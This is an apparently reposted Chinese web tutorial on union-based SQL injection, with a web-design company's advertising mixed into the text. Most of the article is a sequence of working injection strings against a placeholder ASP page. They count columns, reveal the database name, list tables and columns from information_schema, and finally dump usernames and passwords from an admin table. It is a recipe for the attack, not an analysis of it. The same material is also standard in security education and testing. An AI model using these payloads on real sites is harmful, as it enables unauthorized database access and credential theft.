sql注入:union联合查询

例如有一个网站：www.xxxxx.com/artist.asp?id=2

创新互联公司专注于银州网站建设服务及定制，我们拥有丰富的企业做网站经验。 热诚为您提供银州营销型网站建设，银州网站制作、银州网页设计、银州网站官网定制、微信小程序定制开发服务，打造银州网络公司原创品牌,更为您提供银州网站排名全网营销落地服务。

id=2 order by 3  正常
id=2 order by 4  不正常

order by需要获取字段的总数为3

id=2 union select 1,2,3
id=2 union select 1,2,database()   #爆数据库名
id=2 union select 1,2,database()

有一些数据，union联合查询后，不会多行显示，就需要先让前面的语句失效

id=-2 union select 1,2,database()
id=-2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知数据库sqlzhuru，爆表名（第一个表）

因id = -2不存在，带入select * from admin where id=-2报错哦
当然你也可以用下面的这个语句，效果等同于“id=-2”

id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知数据库sqlzhuru，爆表名（第一个表）
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 0,1 #已知数据库sqlzhuru，爆表名（第一个表）
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 1,1 #已知数据库sqlzhuru，爆第二个表

假如得到admin表，继续如下：

id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 1,1   #已知admin表，爆二个列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1   #已知admin表，爆三个列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 2,1  #已知admin表，爆三个列名（十六进制表示admin表）

假如上面得到admin表下的username、password列，接下来就可以列出某某的数据了
id=2 and 1=2 union select 1,username,password from admin

新闻标题：sql注入:union联合查询
转载来于：https://www.cdcxhl.com/article6/ggpcog.html

成都网站建设公司_创新互联，为您提供外贸建站、ChatGPT、响应式网站、面包屑导航、建站公司、网站收录

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联